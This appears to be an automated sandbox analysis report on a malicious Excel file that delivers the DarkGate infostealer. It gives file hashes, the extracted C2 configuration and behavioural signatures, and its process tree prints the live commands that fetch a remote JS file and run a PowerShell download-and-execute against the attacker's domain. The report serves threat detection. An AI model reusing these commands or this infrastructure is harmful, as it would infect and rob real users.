Resubmissions

10-04-2024 19:35

240410-yavszscf9x 1

10-04-2024 18:24

240410-w1999aba2w 10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-04-2024 18:24

General

  • Target

    4_10_AC-2335.xlsx

  • Size

    51KB

  • MD5

    7efe9f3902618e160caafb1f6fd73dd6

  • SHA1

    8f1a3560307e848a01122d088d9136e545726ca8

  • SHA256

    378b000edf3bfe114e1b7ba8045371080a256825f25faaea364cf57fa6d898d7

  • SHA512

    5392ebb12b0fa8225eb532db284bd6e38b23737615471f8bd7e7482b787520eaf3e4937039be2d4ea48e3fb93b787cfecdcd1c1a1b91066bed4a995c5eff72bf

  • SSDEEP

    1536:4s1eZDHgM8v42wkYq84lKL7IAnA4xCQH140Xz:V1eZcMetF8T7IAA4xprD

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

wassonite.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    jdfEdKYT

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 4 IoCs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4_10_AC-2335.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\5.180.24.155\azure\EXCEL_DOCUMENT_OPEN.JS"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri wassonite.com/yrqnsfla)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\ciie\AutoHotkey.exe
          "C:\ciie\AutoHotkey.exe" C:/ciie/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4828
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/ciie/
          4⤵
          • Views/modifies file attributes
          PID:4056
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\5.180.24.155\azure\EXCEL_DOCUMENT_OPEN.JS"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri wassonite.com/yrqnsfla)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\ciie\AutoHotkey.exe
          "C:\ciie\AutoHotkey.exe" C:/ciie/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:744
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/ciie/
          4⤵
          • Views/modifies file attributes
          PID:4980
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\5.180.24.155\azure\EXCEL_DOCUMENT_OPEN.JS"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri wassonite.com/yrqnsfla)
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:840

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56c43715e0e7fa58012d8a5769d8d568

    SHA1

    4370ca3436f2e3a95b47a728503a2c22a5a5fa39

    SHA256

    8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

    SHA512

    b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f43c597743e840d78e4abe58e78598ca

    SHA1

    d0a35d03e4029a8474f9a43eaef80464678e086c

    SHA256

    ecab2aceb885ac737162c2e54e8bde677d9fd31d3c31cae9358d31f7c13c7933

    SHA512

    f9f8b22225d0772082b7b694f0e26b99a32578ee33d7396146d2da8a072b35883dce32681193a8fd366288ca4ef6d21cc8d48afded630480d104d26c529eb8f0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    17e629ba805faebf22028cb27ce5d38c

    SHA1

    722f52158d6874391803fbe2d018de37bc11bce4

    SHA256

    f7e97b3fae3386eb4fe66c4280cfca9d4255fb256d59716dd90e8ad7ab82e057

    SHA512

    973fa87f210b62f25f2e755f25d48e8fb04beca9e8d20a5c53a4ec204e2ca04bb881b88f6f5537a765bb3c4a303ac8ffa9be3f7b230a85d9df1168d9b40f842f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fv54bqks.kf2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\deeCede

    Filesize

    32B

    MD5

    dd745c952aa455d3d56c5b5aeae66a4c

    SHA1

    5b143efab43b847d3fa300dbd93379c7a6c02042

    SHA256

    d606db08d66352fa685088e313f26e99482f15123a1842142705be16dd3e34a8

    SHA512

    4c1dedaa104f30e30246753236b8b1485e433f356dcf70c6834fe1e51a274d4b92654f4f44c8ed66fffe5379a4b4e0df884f7a9a3ccc34c3f4b99accd22528f6

  • C:\ciie\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\ciie\script.ahk

    Filesize

    441B

    MD5

    a2f4ba569825d00dbbb62fd64104e0e3

    SHA1

    45687aac5b0031d2063c466fa3fee6f813e92441

    SHA256

    8fca9dd75bac6406d6acd04ad98ee58c31e112fc3352199ebdc45f0347601791

    SHA512

    5a7825f6d47a7f5f7c198a2b34a8bd08a422b22753239b8ec6307d6e22c8c544ae54765f9954706f3e99976c28ad6085d78d88c92a650ce86e88f9751c486cc3

  • C:\ciie\test.txt

    Filesize

    924KB

    MD5

    dcb6148e6a4d5c89ab44a23b4edebeeb

    SHA1

    542839b03a18f57efe10dc318d8947a31a3ee61a

    SHA256

    0e64aabd9ea8afb2f01925c2eb06bf2bb57d1b09e7971e653a7256c56775a634

    SHA512

    ac7359c8b85eeb86ae742c2e8ad2788314248dd26b5f37889ea9660282538716db7fca96b48a287b087c0ca669c1c0e8ce6b19278268a53eddd99dc1b24ac85d

  • memory/744-115-0x0000000004670000-0x00000000046E4000-memory.dmp

    Filesize

    464KB

  • memory/744-113-0x0000000004670000-0x00000000046E4000-memory.dmp

    Filesize

    464KB

  • memory/840-121-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-72-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

    Filesize

    10.8MB

  • memory/1756-38-0x00000128312E0000-0x0000012831302000-memory.dmp

    Filesize

    136KB

  • memory/1756-51-0x00000128319D0000-0x0000012831B92000-memory.dmp

    Filesize

    1.8MB

  • memory/1756-50-0x0000012831440000-0x0000012831450000-memory.dmp

    Filesize

    64KB

  • memory/1756-49-0x0000012831440000-0x0000012831450000-memory.dmp

    Filesize

    64KB

  • memory/1756-48-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

    Filesize

    10.8MB

  • memory/2136-79-0x00000250650A0000-0x00000250650B0000-memory.dmp

    Filesize

    64KB

  • memory/2136-78-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

    Filesize

    10.8MB

  • memory/2136-80-0x00000250650A0000-0x00000250650B0000-memory.dmp

    Filesize

    64KB

  • memory/2136-111-0x00007FF806AB0000-0x00007FF807571000-memory.dmp

    Filesize

    10.8MB

  • memory/2684-36-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-8-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-2-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

    Filesize

    64KB

  • memory/2684-18-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-22-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-21-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-20-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-19-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-17-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-16-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-15-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-14-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-13-0x00007FF7ED800000-0x00007FF7ED810000-memory.dmp

    Filesize

    64KB

  • memory/2684-4-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

    Filesize

    64KB

  • memory/2684-3-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

    Filesize

    64KB

  • memory/2684-11-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-10-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-12-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-9-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-23-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-6-0x00007FF7ED800000-0x00007FF7ED810000-memory.dmp

    Filesize

    64KB

  • memory/2684-7-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-5-0x00007FF82F830000-0x00007FF82FA25000-memory.dmp

    Filesize

    2.0MB

  • memory/2684-0-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

    Filesize

    64KB

  • memory/2684-1-0x00007FF7EF8B0000-0x00007FF7EF8C0000-memory.dmp

    Filesize

    64KB

  • memory/4828-76-0x0000000004AA0000-0x0000000004B14000-memory.dmp

    Filesize

    464KB

  • memory/4828-74-0x0000000004AA0000-0x0000000004B14000-memory.dmp

    Filesize

    464KB